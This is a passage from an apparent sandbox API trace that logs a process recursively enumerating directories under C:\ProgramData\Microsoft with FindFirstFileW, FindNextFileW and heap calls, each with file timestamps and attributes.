ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0272.061] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.062] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0272.062] GetProcessHeap () returned 0xc10000 [0272.062] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.063] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.063] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.063] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.063] GetProcessHeap () returned 0xc10000 [0272.063] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.063] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0272.063] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0272.064] GetProcessHeap () returned 0xc10000 [0272.064] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0272.064] GetProcessHeap () returned 0xc10000 [0272.064] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0272.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0272.064] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.064] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0272.064] GetProcessHeap () returned 0xc10000 [0272.064] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0272.065] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.065] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0272.065] GetProcessHeap () returned 0xc10000 [0272.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0272.069] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.069] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.069] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0272.069] GetProcessHeap () returned 0xc10000 [0272.069] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.069] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0272.069] GetProcessHeap () returned 0xc10000 [0272.069] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0272.071] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.071] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.071] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0272.071] GetProcessHeap () returned 0xc10000 [0272.071] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.071] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 0 [0272.071] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0272.071] GetProcessHeap () returned 0xc10000 [0272.072] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.072] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0272.072] GetProcessHeap () returned 0xc10000 [0272.072] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="咊8Â跐Ë}")) returned 0xffffffff [0272.073] GetProcessHeap () returned 0xc10000 [0272.073] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.073] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0272.073] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0272.073] GetProcessHeap () returned 0xc10000 [0272.073] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0272.075] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0272.075] GetProcessHeap () returned 0xc10000 [0272.075] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0272.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.076] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.076] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0272.076] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 0 [0272.076] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.076] GetProcessHeap () returned 0xc10000 [0272.076] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0272.076] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0272.076] GetProcessHeap () returned 0xc10000 [0272.076] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0272.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0272.079] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.080] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0272.080] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0272.080] GetProcessHeap () returned 0xc10000 [0272.080] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0272.081] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.081] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ea7c91, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.082] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.082] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.082] GetProcessHeap () returned 0xc10000 [0272.082] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, 